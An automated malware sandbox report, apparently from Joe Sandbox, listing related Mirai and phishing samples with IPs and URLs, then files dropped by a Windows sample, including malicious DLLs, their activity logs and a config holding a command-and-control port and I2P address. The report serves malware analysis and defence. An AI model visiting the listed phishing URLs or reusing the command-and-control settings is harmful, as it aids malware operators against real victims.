COGECOWAVECA	fuckunix.mips.elf	Get hash	malicious	Mirai	Browse	72.38.100.18
	armv5l.elf	Get hash	malicious	Mirai	Browse	24.150.83.227
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	24.146.42.207
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	67.193.39.24
	nklarm5.elf	Get hash	malicious	Unknown	Browse	72.38.18.85
	arm7.elf	Get hash	malicious	Mirai	Browse	67.193.241.92
	nshkppc.elf	Get hash	malicious	Mirai	Browse	24.150.27.115
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	24.57.77.99
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	24.55.242.244
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	192.69.236.66
ALTUSNL	.jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	37.46.126.216
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	37.46.117.34
	fACYdCvub8.exe	Get hash	malicious	Unknown	Browse	37.46.119.36
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	37.46.117.21
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fwe4uproducts.com/cbb/lld/jjg/5BVvnI7cfJ4HfuhWZvVda7dK/am9yZGFuLmJsYWNrQGxlYXJmaWVsZC5jb20=	Get hash	malicious	Unknown	Browse	213.5.71.85
	file.exe	Get hash	malicious	Unknown	Browse	79.142.69.160
	https://www.ccjm.org/highwire_log/share/mendeley?link=https://onpro.info	Get hash	malicious	Unknown	Browse	213.5.70.137
	http://www.tellthedream.com/wpp-adobe/adobe.php	Get hash	malicious	Unknown	Browse	213.5.70.137
	sVfXReO3QI.exe	Get hash	malicious	Unknown	Browse	37.46.119.50
	http://merakibay.co.uk/wp-includes/merakibay/10pdf/wp-page202/pdfzipfilemailpagejkkgenhtdriyryhdej.html	Get hash	malicious	HTMLPhisher	Browse	213.5.71.85

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll	DF2.exe	Get hash	malicious	Unknown	Browse
	ET5.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll	DF2.exe	Get hash	malicious	Unknown	Browse
	ET5.exe	Get hash	malicious	Unknown	Browse
C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll	DF2.exe	Get hash	malicious	Unknown	Browse
	ET5.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_main.exe_59e5c191145a7e657df69e5cbadfff4911e783_61e28721_44ed98c1-fa7d-497f-b5ef-71a509acd2a0\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9807208625347982
Encrypted:	false
SSDEEP:	192:Ld3m6Q/d0MALS36j1TEzuiFcJZ24lO8l:Bm1/eMALXj1ozuiFcJY4lO8l
MD5:	A4230802BDFCD187DBD5A5AC81982196
SHA1:	F1CD46D4048EF13D913F69465BAFC8A7C4CA1A17
SHA-256:	8B4FCA86B22A6D8F60EEB574A632F12AB215966FE1FF3FA27E6C9B317BA07DD0
SHA-512:	54C861C11691B8643186D1D00BED7764733119C7D546CF82026AE3AFAB4FE4D4BF4FC83E964A9B3B688C29F0F84A74D71F0524562FD3169508E17423FDD98458
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.8.0.5.6.9.4.3.4.5.3.2.6.2.1.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.8.0.5.6.9.4.3.5.7.0.4.4.8.8.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.4.e.d.9.8.c.1.-.f.a.7.d.-.4.9.7.f.-.b.5.e.f.-.7.1.a.5.0.9.a.c.d.2.a.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.c.5.3.e.9.f.9.-.0.8.a.b.-.4.d.4.3.-.b.4.c.5.-.f.e.f.e.d.9.3.e.5.9.b.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.m.a.i.n...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.7.c.-.0.0.0.0.-.0.0.1.4.-.e.5.c.2.-.b.0.c.e.9.1.5.f.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.3.1.8.d.4.3.1.0.6.5.7.e.8.3.6.8.5.5.7.f.1.8.3.e.1.5.c.4.7.c.d.0.0.0.0.f.f.f.f.!.0.0.0.0.b.d.b.8.9.6.1.f.8.a.f.b.9.9.9.a.e.c.e.6.0.b.f.1.e.f.3.e.4.9.e.8.e.2.3.4.9.f.7.b.!.m.a.i.n...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.1.9.7.0././.0.1././.0.1.:.0.0.:.0.0.:.0.0.!.1.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7EC2.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Jan 5 16:50:34 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	636854
Entropy (8bit):	1.0036505838068654
Encrypted:	false
SSDEEP:	1536:qSC5cq+GwguFtH+Exz2j9nZJo9FPMWp//Na2hQOFLI0:efE/BQO
MD5:	A1A600A99E372941548F05089B61875C
SHA1:	BD55A72E3B5CBEE973A54FE41F58D78D1F24FF47
SHA-256:	CAC0839E32428A22C3AA4D1FA5F2DB1655CCF2A8FFDD1E55D6929AF3134B4D67
SHA-512:	14C49C15A5E2DE417D125305C1696ACAC25E3207EDD2D0AB612DFFDBE6516CE8D368BDC33D906F6EDBE09F90457B80BE4A4A4419EBA3142FC9C95CD3A346D85A
Malicious:	false
Preview:	MDMP..a..... .......Z.zg............$...........(...8...........` ..........h...........`.......8...........T............0..............\!..........H#..............................................................................eJ.......#......Lw......................T.......\|...".zg.............................@..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81FF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6734
Entropy (8bit):	3.718402035734142
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb/Tv8nDYHV447Z5aM4UB89bfm1DbUfc+Vm:R6l7wVeJ/Tv4YHxprB89bfq8fzVm
MD5:	CAF8C97EA4C67DEA614F449C39881061
SHA1:	8D9CF301497C6F4E4A98F2F70D994ACCFCD4E4E1
SHA-256:	5AC3C6DE5F457FACFF6D5074B4C838C3F267DE2C24F331352FFB8CE3E2F6FF70
SHA-512:	02FC9488AE29A9FD1367FEBA8717EBE6EEC8FFDACEE191CF76C6B53B45B5A8F67BF2501DA078440107366930CA9A86B96F3CA7DF5ED719516A65E55F6BA5BD22
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.2.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER823E.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4603
Entropy (8bit):	4.415755310291748
Encrypted:	false
SSDEEP:	48:cvIwWl8zsWJg771I9TwWpW8VYnYm8M4JD2+AFT3yq85/3jD4hA3+Mpd:uIjfsI70J7VvJwIDIA3Zpd
MD5:	464C5FC160B531C4EC3073C31D0B7656
SHA1:	4C85C77C144EE4ACCDB956F053DD3E62F31F733E
SHA-256:	EE94F3131555439EF542D06F14A3C961F8C7C58A80D9A88FAE4FC2EBC1273B9E
SHA-512:	2B3E484ECC1D4C6A85834440A04970CBCBB292F8209BF7FC6951CC49419F30B09A78356FAFFDA084F122F0A80C0340A4192E6ED7F9C6426E4856CB09B497ABCD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="662873" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER826B.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75382
Entropy (8bit):	3.047293772628709
Encrypted:	false
SSDEEP:	1536:SzymQDaHLE0U46X/gsm0a/A7Y+V+fYvI+b+X+L+S+f+4+t++vf:SzymQDaHLE0U46X/gsm0a47Y+V+fYvIs
MD5:	D4FA58ED702E7BD7F0C4B9581BFD49A8
SHA1:	0A3494AC4280F4E7AD34F5C87646414C95EABD8C
SHA-256:	8E558A37ABA47BCE3155CBB9B68BD9FB5CCE612BA16465405258BAC53BFEB063
SHA-512:	F74FE3CDEA02329657A12D51D7B521181C52D3B0A89364129053340EFB4BE48EF60F228B8B2DA4FF2E9F3948D36F2B11F46A7E89A28568DF1C448CADDEE11B91
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8318.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6857470957661005
Encrypted:	false
SSDEEP:	96:TiZYW14cazPfYtYYYlWiHZYEZl8trie3Sq5wwme/wVa8kjGKMj+WIh/3:2ZDWcGg/Ug2vVa8kjGKMj+Rh/3
MD5:	DCE8DBC6879BC76E27C1C555AD120077
SHA1:	4EE2F18FAD750A443BE3CC016C5FA6A26492BD4A
SHA-256:	D56CFC8E38A0F06DCA95486DC7504DC132707B1FA18C3FA55476C27496CBA54A
SHA-512:	BCBA6BE3B5BAD97021F8540157933D467743706C563BDDDA02B2A709C4B27A597D98D2D828E68A3A0D831EC6DDCD75A2C36F5FB79BEB21D449BE1684EA41B7B5
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.193969228624904
Encrypted:	false
SSDEEP:	1536:55YoK6WOBqFp//wVUE/+TGAf5EkgE1duJmwTxOd/lZ1pgX7:55YoSb/Iv/+TNf5Ee1YLTxOd9Z16X7
MD5:	EC9499EE84ED09B77BE0A35EC87B781C
SHA1:	4148D40284BAB415DDB828BD4061A4FE93C9AF26
SHA-256:	5E38EA7E3DD96FE1C6BB2EBA38C7BDE638C6B6E7898F906E343D9500AFF86499
SHA-512:	D65933B825419719021D0D2F43B45616A5B1238550BFDC72D2F4F148E284E9FE488417021A45B6D2F61770E31150B3331B1071AFE7EBB85AF6B379D040A9BEBC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 26%
Joe Sandbox View:	Filename: DF2.exe, Detection: malicious, Browse Filename: ET5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...............Y........."h.............................P......JA....`... .........................................^....................................@..l...............................(.......................h............................text...x...........................`..`.data........0....... ..............@....rdata.. d...@...f.................@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	5.404753982480259
Encrypted:	false
SSDEEP:	48:CFdHW54yclD8cm9FLQIU4bcPPf4bcPPTM94bcPPZ4bcPPy4bcPP84bcPPcWIeF8c:idH9N8J9VL3YPQYPTNYP6YPtYP/YPVHJ
MD5:	224F7A7D74F05A46B474AFF900E60DB1
SHA1:	8FFA0EFF57434CD49FD39736525EE28614B8B9C7
SHA-256:	E73758553E411869FDFEE4A270127A432371033ABFB7EB3E216036179C3A5D59
SHA-512:	5936BCEF0E7768A898C7F4A990DCBEBD536D7B1E894F8C2E8C6D22800359FFA4093D6776BA5C209C3214AB70344501A4116D052DAE23C6487DAB2B1A6487E6AD
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[D] (ini_get_sec) -> Done(name=cnccli)..[D] (ini_get_var) -> Done(sec=cnccli,name=server_host,value=9

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\config.ini

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	Generic INItialization configuration [cnccli]
Category:	dropped
Size (bytes):	213
Entropy (8bit):	5.129024990254676
Encrypted:	false
SSDEEP:	6:1EVQLD4oWuJO+70XZ6DIzOD7kXpTRL9gWVUDeLn:Cjo5JO+70XZmeC7kX9vgpKL
MD5:	7D88563AD41BAF4026CFC5D098CBF40D
SHA1:	442756834CCCEB84F219F3C762852437FBB3458E
SHA-256:	D80EDD4C9FCF10348AAAB4D5F9D796AD827271827463D71FE32F2F896D0841D3
SHA-512:	F58A28FCAC43359D217C5B238C00BE73FBA791BEC7B987AA647F6FF02A7514D4C4B7449968DF9237D3B4D5BBF05DBEA82C8B41C956B2F0566FAE8C54056010DF
Malicious:	false
Preview:	[main]..version=400004957b19a09d..[cnccli]..server_host=9ad81489..server_port=41674..server_timeo=15000..i2p_try_num=5..i2p_sam3_timeo=15000..i2p_addr=2lyi6mgj6tn4eexl6gwnujwfycmq7dcus2x42petanvpwpjlqrhq.b32.i2p..

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.236071662185895
Encrypted:	false
SSDEEP:	1536:v6YjTy83xoAWVbgh4xf4j0+Fwpj7bx8eSlsfe1tgvEK335:v6Yjqj1gh4xf4w+G7Cge1tgb335
MD5:	CE579A1BDCB9763DAFEBF01AD29F918C
SHA1:	F3E317C09E27DD0DA11AEE1578B7034BA1AC15DD
SHA-256:	0B628EA2BA9CD77621D90A0A7456659ED86C118EB7655F6074B3B5648BAC0A02
SHA-512:	EB688ED1A4AC5C3B975C2B005BE4BFD04D7CC762AF18DED190D0F903D39BDB301EADB800866BA72F6B8C36B7ABFB5765E0EB5081158C67BC33F056BD41280BC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: DF2.exe, Detection: malicious, Browse Filename: ET5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*............Y.........?..............................0......Uu....`... .........................................^.......................$............ ..l........................... v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	5.462313039314351
Encrypted:	false
SSDEEP:	24:CFAGHS+5lGyclY7GfyABI7cRE9FLxJ8Je0ERAXY0e:CFdHS+54yclD8cm9FLQIOi
MD5:	C78D2ABD27A3B256C0425AB4374D0C49
SHA1:	F04B5622F4436CD32B52EEFB189412E318B6AD3A
SHA-256:	7561E874DF3FC4DD8148BF7A3D3F13BC50D6A7FDFE551A37CF8BC1CA51CEB252
SHA-512:	8C223CF890A850D19AF1D128724C43F871299FE302AE6324B20EE965DE43CB620B605D895B08B03B02202E826D2927B4F92F1A9356652FB22FF8F2B0001E3E77
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\dwlmgr.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (ebus_init) -> Done..[I] (ebus_subscribe) -> Done(handler=0x00007ff8bfb51dbd)..[I] (tcp_connect) -> Done(sock=0x384,host=7

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.dll

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.229119632298774
Encrypted:	false
SSDEEP:	1536:nZifIZPVsBXHCrwIxk8i/57CDDCZUohgfNGbDN:nZifcsVCrwI0CyZUocs
MD5:	7FEA520E80E7A73252F2A5C204BBF820
SHA1:	557D33F75805669A6D5E98D0E6CD3B790ECF3464
SHA-256:	64B09FAC89FC9645DFE624D832BB2FF2FC8BA6BA9BC1A96C6EEE8C7F9C021266
SHA-512:	6A8FE49BC671B2B1458C24E10509047B50150D3D565FC7FB45046A51C295E69189F35D53BA2F8727A44718F11E8A84EFDE019E5422E025767CF35FDA26F293F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Joe Sandbox View:	Filename: DF2.exe, Detection: malicious, Browse Filename: ET5.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...*.....f......Y.........Io..........................................`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	44463
Entropy (8bit):	5.261321148614135
Encrypted:	false
SSDEEP:	192:ALNOTXTbX3EnIcE39EvhEkuE0kaUNB4eMzP2TApumnYh:kNOTPn5yzDOzPEAMsYh
MD5:	43C3CDA4576560A6D28E6A9B3FF959C3
SHA1:	67E8111ABBF29287B586CD15ABF8856182AC7103
SHA-256:	F8AB3EDE9EC4291E134218622DA2F3665A214B212058A48DBFD081B8B55EA0D7
SHA-512:	DED652AC77EBD0018DC27C4B1EA3CC061BB33FFDB55434A6D094C9AC33A517919B9D33E7C3F9A65CDFE45F7847AFA2D5716C1BB0E8BD2B7C53142CBFB10EEFC9
Malicious:	false
Preview:	[I] (debug_init) -> Log open success(flog_path=C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\evtsrv.log)..[I] (debug_init) -> Done..[D] (ini_get_sec) -> Done(name=main)..[D] (ini_get_var) -> Done(sec=main,name=version,value=400004957b19a09d)..[I] (module_load) -> Done(name=ntdll.dll,ret=0x00007ff8c8850000)..[D] (module_get_proc) -> Done(hnd=0x00007ff8c8850000,name=RtlGetVersion,ret=0x00007ff8c888e520)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_win_dir=C:\Windows)..[D] (registry_get_value) -> Done(root=0xffffffff80000002,key=SOFTWARE\Microsoft\Cryptography,param=MachineGuid)..[I] (sys_init) -> GetWindowsDirectoryA done(sys_mach_guid=9e146be9-c76a-4720-bcdb-53011b87bd06)..[I] (sys_init) -> GetVolumeInformationA done(vol=C:\,vol_sn=934d772a)..[I] (sys_init) -> Done(sys_uid=c76a8f08934d772a,sys_os_ver=10.0.19045.0.0)..[I] (net_init) -> Done..[I] (server_init) -> CreateThread(routine_gc) done..[I] (server_init) -> CreateThread(routine_accept) done..[I] (server_init)

C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\i2p.conf

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8568
Entropy (8bit):	4.958673415285098
Encrypted:	false
SSDEEP:	96:e+I8WTr7LjdL33ZqPDNLWBsaBMG+xv9G86UJ5TMmyvmyLKkfUZleZnE/Ndm/7CIg:e+I8Mr7VtXl1zrrIqEVdm/7CItWR0SX
MD5:	27535CEE6740DFC50A78A0322415E67C
SHA1:	E80541CF15C8ED4C5EEDA8D8C24674A5B8A27F61
SHA-256:	FB0CDBF4E0215AE1866E97860C2AC3DD96E7498BFE2AF3D82378041CDFF7F292
